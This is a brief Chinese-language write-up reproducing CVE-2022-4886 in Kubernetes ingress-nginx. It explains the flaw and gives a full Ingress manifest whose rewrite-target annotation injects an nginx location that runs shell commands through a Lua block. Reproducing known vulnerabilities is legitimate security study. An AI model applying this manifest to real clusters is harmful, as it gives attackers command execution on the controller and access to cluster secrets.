CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串，我们通过注入自己的恶意字符串，并且进行闭合，并且利用了lua脚本执行命令的功能，即可注入一个执行命令的路由来完成执行命令

 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径，用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示 

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080